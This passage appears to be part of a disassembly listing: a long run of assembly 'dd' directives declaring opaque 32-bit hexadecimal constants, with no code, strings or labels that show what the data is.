7530D6A1h, 0EAD82B3Ah, 27355BACh, 0EDA72A4Ch dd 9396C915h, 0E48B8F69h, 5CA6F3AAh, 43701748h, 12FAE9E9h dd 3A66D98Fh, 7B20A832h, 3A2832Bh, 1965C9F0h, 0AFCAFDCCh dd 7AA7AEDFh, 0D12CC10Ch, 0F44B3E08h, 0D02978C1h, 7628279Ah dd 13BDEE7Ch, 1772E0BDh, 6E4456FCh, 0D932AB25h, 410007F5h dd 4360C0E2h, 34A2BD5Dh, 0FFB56591h, 0FFF7F2ECh, 0D82579BCh dd 52F57BB4h, 5510B620h, 3560C12Dh, 19B791D7h, 59F3BDD6h dd 9DC6FE6Dh, 2FA84B6Eh, 583D60BDh, 0B2E63193h, 677A4A42h dd 0C2C4A621h, 0F8CCF571h, 1DA7833Ch, 78DAF902h, 0BE2BB421h dd 0F334A7B7h, 0E26CAAEBh, 0D1FF73E3h, 7BC5911Bh, 0B906000h dd 6E085F97h, 1B98AB29h, 18AE8968h, 0CDDA7A49h, 6F884CDh dd 0CE74A30Eh, 0D1CE2841h, 0C0A1C4E9h, 0FC3A21E6h, 35305B6Dh dd 0A87797F6h, 1D43E87h, 0C1376B4Dh, 0EF3B6C77h, 16BD99Bh dd 0CB22BB5Fh, 0D0D71310h, 2C3F70B6h, 2B6849F5h, 3205987Ch dd 995B4C55h, 0ED38F2F3h, 3A6ED043h, 1AFD16A1h, 0DEFB0B18h dd 1A84D30Eh, 56D488Dh, 9684496Fh, 8712B207h, 6E1B2542h dd 0D395598h, 9A8F053Eh, 0BF299B67h, 6A7FA334h, 318C7608h dd 207F64C8h, 6E46144Ah, 0BFA48B3Ah, 6A35367Dh, 0E18FDD0Bh dd 68311DE3h, 0E20F41C8h, 0A10EFE46h, 70C05558h, 0A040FCEh dd 574FD563h, 0ADC0F68Ch, 22C037D5h, 21C648h, 0A2EE7A33h dd 0AB627E88h, 0E1EEB4D8h, 0C0A1029Dh, 42B41327h, 5ADC5371h dd 121835CAh, 0A2154ECCh, 0A9F1C25Dh, 794982BAh, 4718BC64h dd 0BD1E92B7h, 0B7600E6Fh, 2B195F88h, 8F34C5D2h, 9A6B4397h dd 0C2B1B1F5h, 445C3630h, 6527883Dh, 3368BB90h, 78B213E6h dd 0CDD14F3Bh, 5E3A3323h, 0DC20C55Eh, 0A94DB63Fh, 66D40CB3h dd 9430D0E1h, 11E72FB7h, 0E6061F35h, 1E5EB282h, 415FF6FBh dd 0BF1D04A8h, 4C63A9CDh, 641474E2h, 0CCFFCEBAh, 0E7EE0389h dd 0AC059A81h, 0D0EFE651h, 2079735Dh, 0A6E78BA6h, 0AE4E8BE9h dd 0DECA26CFh, 0D3840D1Eh, 5C2E574Ch, 0DD5FD05Dh, 0EB00C321h dd 685777CEh, 58249DDh, 2387511Fh, 0D59C5B98h, 0C3ED4D86h dd 0F135BDAh, 0DD3E5600h, 64D06CA1h, 7509374Eh, 3B1147ADh dd 542B59C6h, 2EC6EF5Eh, 0E3F867E5h, 0C4F6A535h, 0F7DA6C68h dd 566AFBC9h, 7DEA226h, 0DF7FE9ECh, 91A21411h, 15228B66h dd 0E16787D7h, 0FB286455h, 7A27D1F6h, 0FC596B12h, 0B401CED4h dd 0D4059CFFh, 3EEE57F2h, 1760DB49h, 0EFFF0F75h, 0DCBB05C6h dd 9ADBE7C2h, 4DC191CAh, 4FE1B936h, 91F7FD84h, 9D7F15D1h dd 87C37B2Ch, 7794E65Ah, 97DE9BB3h, 0D49232ACh, 0E4752A57h dd 0CA1542B3h, 0F91FE46Eh, 65D04FC3h, 7A6A9432h, 0EF163AC2h dd 4D37C623h, 0A7D768E2h, 0FF4935C8h, 92852A9h, 70DC189Ah dd 298934C5h, 1A6DFC91h, 5AEDD2EFh, 0DC28FF83h, 78AA5D7Ah dd 0A1BDB0BCh, 907CE385h, 7B098844h, 0C4A0B9DCh, 3240CBE9h dd 0E5192FEFh, 0FB1DBF6Fh, 0DF749B0Ch, 0D9577900h, 0B021FD48h dd 0E2F09D09h, 3C77ABE9h, 0CCE63ABAh, 0A2725A88h, 77D614CAh dd 1E831CBFh, 0B732D38Dh, 5CB4E597h, 8AA9704Eh, 0BA931CF1h dd 1DD13112h, 87C43708h, 0CC50D6h, 0C9312333h, 278B523h dd 0D74E05E8h, 0AB109F09h, 88C51D09h, 906DCD95h, 63DC38Bh dd 0E75D77h, 3E6D98BDh, 0D48A1AE4h, 0EFBD3677h, 9837BEB2h dd 84EBC011h, 0D33AE57Ah, 0B45608CAh, 3CEC1FCDh, 0C3DCDF29h dd 70A3D1FEh, 0F4CD29C9h, 0F14ED4F5h, 4F153ED4h, 5429A415h dd 4C6CFDECh, 5EE573A1h, 0EB86346Ch, 3CFE43FDh, 3F3F5F98h dd 68F4B376h, 0A06C77C1h, 107ED2D4h, 73C1440Fh, 70FBB3C0h dd 4C0EB0h, 885B1849h, 7934067Fh, 0B9513C7Ch, 1DCE91CEh dd 24ED0B9Bh, 9B927EC0h, 6C6B84FDh, 0F6DAE2A8h, 0E3699EC6h dd 502F5680h, 78D4CA63h, 0F6BC973Ch, 9F4EB0DFh, 40F1FF40h dd 5CCB16F7h, 0D320100Eh, 6ACAC06Ah, 85A46A4Bh, 2FF7FF4Bh dd 0EF905A9Eh, 161DB051h, 70B21D77h, 1301A03Ah, 1E47D6D6h dd 962C990h, 0CD479146h, 939CF06Eh, 53DA705Ch, 68EF31F4h dd 0E3F49344h, 3CB53A06h, 174E2615h, 0D435FC12h, 1554CA79h dd 6987DA9Dh, 6B49D6B5h, 7DF49C54h, 0E31DF72Dh, 0DB26CDB0h dd 7BB9CB58h, 0E819FB92h, 0F2D8B1F2h, 0CFCF71BDh, 889570B0h dd 0B55CB6F1h, 0BF8F2Fh, 0BB6B6EDEh, 0DCB48D01h, 696A6CACh dd 0C0909B7Ch, 31EC3AA5h, 2ED53859h, 0FE6105F7h, 6C5C69B0h dd 874422D5h, 4836E40Fh, 0BF3C7D6Ah, 0A8B28640h, 79BFE0EDh dd 7CB46C7h, 18B53F52h, 62B3E5FDh, 2CFA05ABh, 0DDCE3DD2h dd 109BC381h, 6B50C8C9h, 0D9E6029Eh, 0A3CF5196h, 2D0D3636h dd 1201B09Bh, 2D9A134Ah, 28EC6C14h, 0E4C7813Eh, 0DD8232D0h dd 0CA560300h, 9A8F1731h, 8F9328E4h, 1455727Dh, 75C407F7h dd 0FC5A9AAAh, 0E3CBCDC0h, 0E1B6C2F8h, 50C08B07h, 5AAAA3EAh dd 4DBA0A7Fh, 0FCCA7912h, 4048ADF3h, 43B6F30h, 8962969Dh dd 0AE1AA845h, 0DF9218FBh, 37D609AFh, 0DA17F4Fh, 11CE63B6h dd 0E5DFB7ABh, 7DA6F14Eh, 4AA34711h, 78A54535h, 30EC55D6h dd 0B9EC189h, 0A1180A81h, 0C8D9A088h, 1155B2Eh, 1DCBF14Ah dd 0A4C2661Eh, 9BE9DEFDh, 73BBFEF4h, 0A01B3F58h, 80AE8E5Dh dd 0FFA7D445h, 4BA1CCFCh, 96D24EF7h, 45A991C7h, 9708B1A2h dd 5317149Dh, 9F030FCDh, 6C951B4Dh, 0C8D5ADB5h, 0F906748Dh dd 132BF534h, 5B27EB93h, 0F2553F70h, 6426505Dh, 0BC96494Eh dd 4580085Ch, 0D3C632DCh, 44F61B77h, 21AD0C1Fh, 0BAF5C959h dd 0A6DD6C4Fh, 0A69FDB70h, 93E87CF3h, 0FE4B7A01h, 4993C7D2h dd 2E0A8930h, 7E704288h, 0E9657AD9h, 0DAB0C4E8h, 0C4CD1B56h dd 0B54D206Ah, 1097EEBFh dd 0A68314AFh, 0E481A3B7h, 0D833F3DAh, 0EC381389h, 0C2F83CDDh dd 974599D5h, 1D930B32h, 78FB3028h, 0AFFACD67h, 0A006A749h dd 5A15736Ch, 43931700h, 6B28AC09h, 3DC7445Eh, 0F1C2F4ADh dd 168CFFF7h, 53F3236Dh, 3DD97656h, 955DF14Dh, 549CB8CEh dd 2F899A63h, 0D595D2CDh, 5169F00Ch, 0ADA7794Ah, 0FD6244FEh dd 10CA9C74h, 0B3ACA97h, 4465D39Fh, 0FF38D0A9h, 0FE81E7FEh dd 0C96315C9h, 1C436C60h, 0BC6EFA2Ah, 0FCF8182Eh, 0C8BA0607h dd 4D8B7B7Bh, 52B1CD16h, 0CFE017F6h, 0CB8E9051h, 398DC4C9h dd 0EFD3405Ah, 4C55D12Fh, 0AC96024Ah, 671F6493h, 0FB1C1005h dd 0D3FD762Dh, 0BCA27DB9h, 767F1AFFh, 9FD410E6h, 0A60387BFh dd 50038C7Eh, 804DBB28h, 1F057504h, 0C8E26B9Ch, 1AB7BACh dd 0A808C16Bh, 9326281Bh, 50AFD889h, 0C3F2E639h, 9E3402A9h dd 0D3646C00h, 8567AB11h, 0AA535DFDh, 3FDE875h, 0BDC96183h dd 0A751D75Bh, 83CE6881h, 83187517h, 515B2C23h, 0BBB10E49h dd 0D30EC510h, 61D95075h, 698F068Bh, 0C0A5002h, 722A784Ah dd 0E05F641Eh, 0ACC06F48h, 0E58B6490h, 0A80D08A4h, 0C570D4E3h dd 0E2A78D67h, 0AE5A64BAh, 0F731AC3Fh, 0C9B7ECF9h, 6DAA44Ah dd 4829C5B3h, 3232634Bh, 7E6A5CABh, 79A26661h, 5C592053h dd 4E7D8F8Bh, 0A9F8C898h, 71E73FEBh, 46676F26h, 4ED9E8C3h dd 0E5DA74E7h, 0EA5D9149h, 7B526102h, 3171ED98h, 0B3D2427Dh dd 85EFC0CBh, 0FB02FD20h, 50F2D36Ah, 9AF87C57h, 0F5769C0Ah dd 0B9B825CCh, 3570289h, 0FE3B5074h, 0CB67789Fh, 0AD0541h dd 813D65D2h, 0F3875CB6h, 0D87B5418h, 0BB9A6C5Ch, 44F2EA12h dd 770EEA33h, 0C90A0F3h, 0AF7ACA15h, 50B59593h, 98B19B24h dd 0D5CB233Bh, 0D4891368h, 18874A57h, 0A4726DF9h, 0ECF47FFAh dd 6B24041Eh, 6DD30E21h, 7C233ADCh, 29C2A11h, 0CAB9C106h dd 157AF7h, 0F33DFABBh, 36807E5Dh, 0F98552E9h, 0D9A3E2BCh dd 0FA7BF644h, 54B41740h, 9705BFDDh, 0B020410Ah, 0FD161D93h dd 9CFE260Ah, 3DA30935h, 7F9138F1h, 8592691Ah, 7C3B07DCh dd 0BCB14245h, 52CF5759h, 38BD5249h, 0DC061D5Dh, 41D2F5B1h dd 536D81E2h, 1396BC33h, 0A9EDB62Bh, 0C1111D57h, 0BB4EA6ACh dd 91E18970h, 0A97B387Ch, 0BA13D5C6h, 0D8DB6F37h, 0D945BFBAh dd 5C7EE28Dh, 5E9EE023h, 8A732AFDh, 15F31435h, 7DB98C57h dd 72CBAB5Ah, 21474BD7h, 0BE44222Bh, 6B587968h, 0F8DE6494h dd 0F334E350h, 0F432079Fh, 0F9AC1198h, 3620408Fh, 0A7929B90h dd 1790337Dh, 1881BB41h, 6BBE3FCFh, 550F4161h, 97B36D14h dd 7F1BA0FEh, 0CF91A287h, 5CB1A074h, 3272731Bh, 0B40BD61Dh dd 0F262ABDh, 20525307h, 0B5B977C5h, 0E6586AD1h, 0D60FD535h dd 5E2CB6AAh, 9A88CDCEh, 14E5899Bh, 9A862CE3h, 23CEE432h dd 3FA1595Dh, 37A00ED7h, 3C184509h, 8AF4DB1Bh, 1EC7FC2h dd 0BFE3DCB5h, 4B6F5C61h, 1F1C864Bh, 0E123B226h, 89B503FCh dd 8398BCB1h, 65623D3Ah, 6D41DEB1h, 2A107782h, 0F93350F3h dd 9E8507DCh, 0E32021CAh, 0D30D88DBh, 0E15403CAh, 729EEB2Ah dd 7C36FE2Ch, 47868355h, 86224A84h, 30B52255h, 8DDB810Ah dd 4A568037h, 0E09DF21Dh, 715624B9h, 8044DC61h, 0A79B11A2h dd 0DF83D43Bh, 0DD895872h, 3D748001h, 207BDEB3h, 0B5365360h dd 0D0B6F05h, 4CF40F44h, 2896E492h, 7080509Ah, 5C751879h dd 12081B47h, 0C24FC6D0h, 5E270ADBh, 39190A33h, 60A63D2Bh dd 0EFE3599Ch, 0E5DCB98h, 0CCDB5D5Fh, 75C69AE9h, 76547CA1h dd 0DE0FB177h, 0FB933AF8h, 0CD6E11D8h, 0C6B12BD8h, 85C9D8A9h dd 0C0FFF23Bh, 2938B843h, 0B77CD54Fh, 0C5118ECAh, 4A1E0381h dd 971013C3h, 0B3013832h, 0DFB2EACh, 92016BA4h, 0B253C595h dd 0C49EE8BDh, 62E22670h, 93621659h, 0D83D5014h, 0E3A778DFh dd 0F2C10E70h, 0EDC921B2h, 4DCC2D3Fh, 4562F361h, 577A5FDDh dd 0BD2113ECh, 9B065213h, 0F699D936h, 5D88D7C1h, 34F325E4h dd 0D42C0D7Fh, 0B5AE6BBBh, 3585A849h, 2DCEC26Ah, 3AC8A91Dh dd 0BEDF0456h, 260DEBE5h, 6CFF4197h, 0D04E9871h, 6E5B91B3h dd 5F65D9B4h, 974893FAh, 44B433A8h, 0D013CEF6h, 0E4CAF594h dd 75C9D68Dh, 0E3B32225h, 3FF43200h, 15855D6Ch, 16BB03DDh dd 8A3061Ch, 2AE1F9D9h, 11648D60h, 9E894FE6h, 3B95CD1Ah dd 5B0CFC0h, 0C1A8B6CFh, 5D0780D3h, 0ED200B7Ah, 0FE991B7Ah dd 32B27EDh, 1B219587h, 1A8D3408h, 90861A4h, 0FD1E9415h dd 2B1A253Fh, 0BDEFB269h, 0EC6B9DB3h, 69FAC131h, 6F61D94Bh dd 0D19945F1h, 2BC192FAh, 0C544BB88h, 655DE07Bh, 173ACC56h dd 0EA8290F8h, 3D2D5A7Ch, 0BAB3C074h, 2A04C672h, 9BCA0858h dd 0CBDA7286h, 0FBAAA5ECh, 0DA166DD8h, 7971553Bh, 47F2877Dh dd 85A74CB5h, 36E871CEh, 75B473DAh, 0FFF3B691h, 5343FE98h dd 7621CBDAh, 0B1D8E6D5h, 0F50E17ABh, 34C44C1Fh, 9B8E63D7h dd 8AEE86C5h, 299394h, 0CA1AD44Fh, 0D0B8FA01h, 26009D42h dd 0D6664554h, 0C3037192h, 0EF1A6B54h, 0BF72CC0h, 0E7FDAC19h dd 9A0AD102h, 18E4310Eh, 6F496520h, 1360CE9Ah, 0C771454Dh dd 86033528h, 232E9A70h, 4D3DA4FEh, 7429B638h, 83A02977h dd 2DA9BCEFh, 912B5251h, 0DC2AB08Fh, 0E1A68D85h, 0FA58587Dh dd 0AC113571h, 0BD1F8902h, 5066262Fh, 7B8EB0DEh, 34539696h dd 8E20CFC8h, 0AE9EA427h, 0A2DAB2A0h, 528E31CBh, 2B2D8ACAh dd 4F81FD46h, 98E70B29h, 7DE920E4h, 29CC587Dh, 0F2379148h dd 71EA69D1h, 9CF9B0DDh, 0E56ABDEFh, 7DE7820Eh, 1C060D68h dd 0E9A01325h, 3C81F5BFh, 82BCFA41h, 90ED05E8h, 77E4FC7h dd 713D4446h, 6F306FE7h, 0A61F88CAh, 53BC0EC6h, 0D4CB4046h dd 0A9D97F33h, 3831C2Ch, 441C0C99h, 8C8DD459h, 0BF65AFBFh dd 0F0DB772Ah, 5A6BB3EDh, 0BCDD77D0h, 7C1D9ADAh, 0DA230505h dd 0AA291C15h, 9C4D2F5Dh, 3E64ECFAh, 6145D84Ah, 0CD73BB24h dd 0B5061222h, 2A1F169Dh, 32C49E49h, 538E7E1Fh, 50CE33AEh dd 9B241446h, 0F5EB6867h, 3582F3DAh, 0FE087CC3h, 0C47A5104h dd 0EEE673F9h, 0B6F6BDABh, 0D9589CD6h, 0DFE4AD65h, 0D2005416h dd 507ED630h, 5621AFBAh, 0C38B404Dh, 5D1D811h, 75BD8E4Fh dd 0AAA29652h, 0DB197BC3h, 19D0CE48h, 46CBBC9Ah, 1C1B7E98h dd 6D4B70CCh, 84EC8B6Dh, 613C78C2h, 0C73DEFF7h, 8459F1A9h dd 30A209DCh, 0A3A3173Fh, 6EA9EDD9h, 0B6C6E7C9h, 13306CF6h dd 7AF7B050h, 0A1E60ED9h, 24E6CC6Dh, 2BB0D457h, 542287A9h dd 463550F9h, 0CB7939Ch, 0EC249CA2h, 0D6EDADA2h, 6F2D7E27h dd 5112E796h, 9A52DFB1h, 67CCCDF4h, 53F1CCB8h, 4ABFBE2Ch dd 54DFF4ABh, 0D6E845Fh, 0FE010E5Ah, 0E0ED6806h, 5150CB55h dd 0F2032767h, 4DAE4ECDh, 0F769A5Ch, 17FFBF8Ch, 0F6087A1Dh dd 9AA913B2h, 0F9F558C7h, 96CC4197h, 0B7D9494Eh, 671ECE37h dd 413B6089h, 302DEC58h, 0E37255CDh, 75514516h, 966C270Dh dd 29CC39C0h, 4DC8BEBAh, 0FF477391h, 903A59A8h, 0CE83F6D3h dd 0A2D32093h, 0FD4DCAD6h, 0F2DC3BE3h, 577F3B6Ah, 5F3221C9h dd 652B7758h, 8F4EEF26h, 141CF008h, 0BCF1A83Bh, 5DACC166h dd 35244FE9h, 0B5F1A8C1h, 2AE4EE45h, 0E26B270Ch, 0E17F29EDh dd 43198151h, 0E6353CC9h, 45FBF678h, 0B358B540h, 0A8E502B7h dd 0BA050F40h, 76906873h, 7A0BF4E8h, 327AAD4h, 15C5DE32h dd 0BE555ED1h, 7621FEF8h dd 9DA31DAEh, 85EC189h, 16DF1444h, 78216D72h, 4C9BF23Fh dd 0FFE6DF6h, 11362659h, 0BFE8A5B1h, 53C859B5h, 505946C3h dd 332E5E1Dh, 0FAE6F3BCh, 2858320Eh, 23B24D89h, 7D29948Dh dd 7AC0D888h, 6A20910Ah, 0ADB36503h, 0BDDD4562h, 983169Eh dd 646E854Eh, 3741E3E8h, 63CA4C13h, 4FED002Eh, 0AC711DBBh dd 0B5FF09B4h, 801B2D58h, 0E81DB742h, 0BA85EDA8h, 6C600298h dd 24DCCBF4h, 0EF19490h, 5A27108h, 8A4BBA40h, 4781E98Ch dd 36A5DA9h, 6B575074h, 2CCA690Bh, 5121C0E6h, 993F21FFh dd 91DF848Fh, 91A415F5h, 32957C42h, 4E2FB7ADh, 0A5103770h dd 252E5D4Fh, 96DDE94h, 0A9523387h, 0BE2F3D60h, 879956BCh dd 561686A1h, 9462D07Ch, 8CBD1E46h, 0E4FB16FAh, 0C769D8EEh dd 7ED6A107h, 277E437Ch, 8988A1ADh, 8AB1C270h, 75D8D9D5h dd 326D327Ch, 8717DAB8h, 81A5C186h, 840A2B55h, 799F2118h dd 0F00F25C8h, 0D7DD8AD3h, 9386E68h, 7F3A3D36h, 0F8D74207h dd 0D082F441h, 13772B17h, 896A863Eh, 11FE9F79h, 0AA205EA0h dd 0E4C91889h, 0F09A24A7h, 26650E7Fh, 0E9E530C8h, 0D395A136h dd 0FFCA4242h, 0A5D00273h, 959B6FF6h, 0A4DFE6B8h, 0AC7903F1h dd 50781BDFh, 399EC726h, 190A0F6h, 8C7D6DE8h, 3263F552h dd 0F977AFC7h, 1EEFBECh, 9BC3BA5h, 7945FEA6h, 6389C935h dd 0D9F5EBA2h, 3ABC1970h, 0C4964E8Fh, 5BE9956h, 0E99FCA5h dd 5B31155Bh, 0AF8B217Eh, 5BC9466Fh, 0F2DC3728h, 425D02BAh dd 0B36600FDh, 2CDF7696h, 0BE5C7058h, 14AE2726h, 0A28C2115h dd 4AE642B1h, 0C82B5867h, 0D867EF23h, 0DBE85A39h, 2F105BAEh dd 1DB2ADBCh, 536E6BBDh, 0E377195Bh, 512BE0A3h, 365FB5E6h dd 0D87A0EF4h, 8F8BA8C2h, 244671Ah, 664E7C3Bh, 0E4DC5437h dd 0CEACC04Ah, 667F13A0h, 66C0EED0h, 0CA221B25h, 0A9C90CFCh dd 82BF4173h, 0FF6C63ACh, 7D8D2F1Bh, 97B6F25Bh, 0C61759E4h dd 0EBA3E152h, 5E82BA01h, 0A639BE45h, 0D1518658h, 38D312E3h dd 44AC041Eh, 0EF15EE5Fh, 367F9249h, 0E0C0B28Fh, 0F42F1F2Ah dd 8BE2B909h, 696A2DABh, 1AB243C7h, 0DAB01271h, 0FD3AE8C2h dd 2667938Dh, 9997A44Fh, 97AC906Ah, 6DC0660Bh, 11B05F5Ah dd 382CB6D9h, 3B016445h, 0DCDF36D3h, 5FE0F921h, 2F069117h dd 39818AD2h, 8A59F4EAh, 0A0699E35h, 73FBB10Eh, 77E5ECC5h dd 8749E26Dh, 0ECDB06C3h, 1BF18F78h, 2559493Ah, 0B8C773BFh dd 45FC0A2Eh, 1CCA8E73h, 36ED7339h, 8D2661B9h, 22BBFE32h dd 0C7C58681h, 8731182Fh, 1F744889h, 29DDA680h, 0D28EC798h dd 18AF0A86h, 99B3519Eh, 0F027DA0Ah, 0DDB3C1F9h, 99773ACAh dd 28B8A31Ch, 0A09988A0h, 0CD798A17h, 381B17E8h, 5B084A28h dd 62E63A9Dh, 45B69EC1h, 471BCECh, 0EE8ACFDh, 0BFBBBC5Dh dd 8A6FAFACh, 0A9D61429h, 89D15DA0h, 7E2017F6h, 6C1C1DE7h dd 82B8CB40h, 6FB29A74h, 410DF5B8h, 8CA50B77h, 36FC850Fh dd 799E26Dh, 538C44B9h, 0BABED7EFh, 0D085EFB5h, 0AEBDB785h dd 0EEC601Ah, 0B0779893h, 890B8A4Bh, 0A6F1FA1h, 0CB8755B0h dd 136306C7h, 41A5FC11h, 0E2C81E1Ch, 0EC87170Bh, 33B77E86h dd 4D12982Fh, 0F06D08A2h, 0D6D19286h, 9525D827h, 0BB86100Eh dd 9F4FDB45h, 0EE34A13h, 0B1DEB294h, 0D179367Bh, 4D6CB474h dd 4312D2AFh, 5AF8573Fh, 0B9676195h, 0FAEE71EFh, 0E4F06D50h dd 1C0F89D4h, 699C86CBh, 0A67D6C9Fh, 0EEAFCA95h, 1B2CF6CAh dd 0AD4FE3A6h, 83B2D9ADh, 2DC9285Ah, 200F200Bh, 1DDE638Bh dd 16F46E3Ch, 7CD02E61h, 86E0A649h, 9F70D350h, 0E87FB69Ch dd 93494766h, 3B3582F1h, 0A68C30FAh, 0D600C634h, 1313AFA5h dd 46D44AF9h, 2AC44240h, 0ABB41D05h, 383E4D8Ah, 9BC97E8Bh dd 15953C32h, 0ED3EDE33h, 2D25FBBFh, 98EFE806h, 0EA9BCA45h dd 0F56604A0h, 2E232B03h, 0AA33AE01h, 937E1160h, 3FD9D4D0h dd 6067EDC1h, 0E00693FDh, 27723CF1h, 0C963C8C4h, 0A390530Eh dd 7E4981E5h, 0EC5F3ACDh, 3C6C0465h, 7AE59287h, 0BC88D0C2h dd 0D05439FBh, 7D388A83h, 85AB72BBh, 0C73D4821h, 0BBD390FDh dd 32FBB767h, 0F87895E1h, 29D93A7Eh, 0F2C7C7FEh, 0DEB4C317h dd 43F797F1h, 0C5DFAC1Dh, 23E94145h, 936BA087h, 3CD355ADh dd 0E826CA84h, 0C5192359h, 52155C55h, 22DDAEB7h, 7334A59Ch dd 0CBA704FAh, 9D5C8476h, 26CB3F04h, 1DC76A45h, 0DF9583E4h dd 0F774B9E3h, 0DDE4CBD5h, 562985C7h, 0F6910E07h, 39FDDFFCh dd 1BE36453h, 570E8FF0h, 44F3A931h, 0EC06BA13h, 85F2442Eh dd 7AE4C2C9h, 0B49DA461h, 0B4F14B8Fh, 5CF293DDh, 0E9CAAB17h dd 3E1C7EC9h, 77E754D0h, 94F8393Eh, 7254A382h, 0B9087F7Ch dd 37196C55h, 0C52F4606h, 0B51B8CA7h, 454CA970h, 7EAF1D71h dd 9BEFA400h, 17A88D8Eh, 72082F57h, 0FAA5FA97h, 578C527h dd 5923335Fh, 792AE6B3h, 28B6AD8h, 0BA13D42Eh, 0CAE51F37h dd 0DA610F51h, 0B1B91584h, 7CD99253h, 0E63129Ah, 72C1EB0Dh dd 7F4D0C72h, 0E257A64Dh, 0B91D7FE6h, 9EA2030Dh, 0C06EF90Eh dd 3140F6B1h, 0B8018829h, 0E35A9C63h, 0D804CF92h, 0AE869CFCh dd 0E9A2F86Dh, 96ACC3h, 2063690h, 0E3AA9617h, 0D47536FCh dd 6113FFC1h, 0A2A806A5h, 8BEA4FCDh, 3300EC55h, 0CFF537C6h dd 216EE792h, 6386E13Ah, 0B7B18D50h, 2FB62577h, 0E9D419FAh dd 8E9A01C6h, 0B44B2BC0h, 522E98Ah, 0A97E988Ch, 3BC48AC8h dd 182636A2h, 0B88E6069h, 7C14BD4Ch, 0F66A548Ch, 0B1530304h dd 84A51F84h, 0E7908B04h, 4F85D63Eh, 67E0BB27h, 0E14ADE01h dd 0BE57AAE0h, 942223Fh, 0D4EB51E6h, 0A1D0EDDBh, 8C8042CAh dd 58742557h, 0A3631076h, 7D0796CCh, 173DABA2h, 72E06950h dd 0E1606AC1h, 265DC60Dh, 0BDBDE9D0h, 2311D789h, 43CBB9E3h dd 783504BEh, 0CFF80C62h, 14B1B7EBh, 6E2C3525h, 92364C2Dh dd 8E1EBCDCh, 421D237Eh, 0D77464AEh, 0D810BB86h, 7DDEDA37h dd 47D170DAh, 40C6FCFEh, 2A7443F2h, 893A188Dh, 0F4DFCDB9h dd 2A36CDA6h, 0B97E1252h, 6263ED07h, 16DA9A25h, 0D61E6F13h dd 653096Bh, 922535A5h, 4AE7280h, 36D8FF5Dh, 82F2F045h dd 0C2B5D5C3h, 0F15C0705h, 565315DAh, 58F24892h, 0C0F9CEEAh dd 0E6211EE0h, 982A228Bh, 3B0769BBh, 0D883F236h, 9A28EA95h dd 31991B3h, 2D8C8158h, 8D64F89Eh, 238BFDC5h, 4C09241h dd 20584864h, 0B60519D8h, 0A686F163h, 0A0B33A91h, 49C17093h dd 0A0FADDE0h, 40866117h, 0F2D60437h, 5EEDF89h, 2B79CF16h dd 979B4C6Dh, 0FB4DF891h, 0B54B3DA5h, 3E52ACF7h, 0A64F986Bh dd 564C797Dh, 1332149Bh, 29C7BCE4h, 4B874EEFh, 0EFE38EECh dd 30ECE8C3h, 9BB6678Dh, 0AC0FF143h, 0F0275C31h, 1F9D323Ah dd 0EC07BE9Ah, 20BFB416h, 1CAC88AAh, 96149A9Fh, 70770044h dd 0B42720B9h, 0F27ECEFCh, 0F262537Ch, 8931B2A4h, 9FDD6771h dd 0EEDE0949h, 7B74ED87h, 0F62BFFE4h, 0E0A31B2Bh, 87DA1843h dd 0FB418E38h, 755573E7h, 51D5BB2Eh, 1187BFC7h, 6132BF36h dd 85492C0Ch, 158FD8F5h, 57B0181Ch, 15624ABFh, 1B228A86h dd 0E7642DB7h, 3F8FEC44h, 0FA3439AEh, 6D93C23Eh, 6EDD7499h dd 0B09AAF41h, 79D48ED4h, 339664Ah, 0C03DC27h, 22801B60h dd 0B1062C01h, 9B3D031Bh, 0C6AB6A07h, 15D4EF72h, 7336D3A0h dd 0AF27E680h, 0AB37FEFFh, 8373A8F0h, 2132BE0Bh, 27086FA3h dd 0C5A125FCh, 0C68AF7BDh dd 91DB5678h, 5B74A738h, 3E375255h, 4AB49C92h, 16ACAC9Fh dd 0BD45E70Dh, 0FFA51F4Bh, 6A27CCDDh, 0E1EB49A1h, 8B85723h dd 74B342DCh, 9E65E6D7h, 0C4BDAB20h, 0A208ACF8h, 2DFD800Fh dd 1FCF3113h, 0B1EEF987h, 3BD041D0h, 0E328F36Fh, 33AC8440h dd 3EC20B4Dh, 44904A4Bh, 5BBB4F76h, 1646D88Fh, 883B5C88h dd 0AB01ED19h, 0B3BCA111h, 56CD08BCh, 78EEDEADh, 97CCBAA4h dd 0BE1B8D6Ch, 150A1F7Ch, 905900F6h, 0B745465Eh, 0A55B2884h dd 1952FBC8h, 521FD22h, 60566D42h, 0E2F22654h, 30533C45h dd 0ED617016h, 10089DE9h, 0AA76608Ch, 0A2FC8CDAh, 20C71E20h dd 0F6D8FE73h, 692E4727h, 14FA62Ah, 89DA5337h, 2BD0D3FBh dd 0C809B016h, 0C86A567Ch, 0FF13DE9Bh, 0E91E345Fh, 0AD8EF397h dd 35777E20h, 4E3A5D0Dh, 435772E8h, 750806F3h, 5BDD3FEEh dd 0A98DD5ECh, 4555FFFFh, 0FEF87ECAh, 0C8A7D395h, 0AB2D3DB9h dd 5CD2D0B8h, 41636EFBh, 25DE0F28h, 0AB19EFACh, 601008FAh dd 0E117257Ah, 0E798CB53h, 24F5F0C6h, 0BC82D7F9h, 0C9596A9Eh dd 3A5582CAh, 0A9F0757Bh, 6B82089Ah, 0D2CCC7B2h, 0EF8A71BBh dd 0E0ECC32Ch, 14D55EB5h, 0A5CF0909h, 17AA18B5h, 142A7CC2h dd 472525FAh, 271B904Eh, 0FF6A286Ah, 0F302B4EAh, 53F11868h dd 0F5724FE4h, 9F2B6F63h, 5ED1614Eh, 62F26C51h, 29A16EB2h dd 0A80CF11Bh, 70876F59h, 242DB04Dh, 5CC8B5DBh, 0D3CD74A5h dd 8F617876h, 2667A702h, 0E495EA42h, 3A622DC5h, 25B950E3h dd 8374CD32h, 0DB50DAC1h, 0AB480EADh, 8919B70h, 0A3C25CC9h dd 88870600h, 0D3CA8129h, 0ED13A8B8h, 6B83DCA9h, 97DE7BCEh dd 0D43A4537h, 295B4FA8h, 0ED6EC04Ah, 2091F82h, 8C9E0274h dd 0CBBE8995h, 0FCC4722Ch, 9F27406Ch, 60EC4946h, 0C68BE82Ah dd 26AD89CDh, 8CC6A6E0h, 0A93196B0h, 8EBD75E6h, 21F4D9h dd 8BF7623Eh, 0C05CDEBCh, 0C977DEAEh, 73DDBD89h, 0BC5C777Ch dd 55773C1Bh, 3141ACB8h, 0CB1B3A95h, 549CF934h, 0E4F7970Dh dd 0EF79A83h, 0AEE27AB5h, 0BA1D5741h, 37C17705h, 0A4774303h dd 88C9DDACh, 0DB5D0BEh, 0F0D84F77h, 9CF6D9F9h, 0C514ECBBh dd 0BC9905AAh, 0F2708262h, 0BED629F7h, 49580A9Ah, 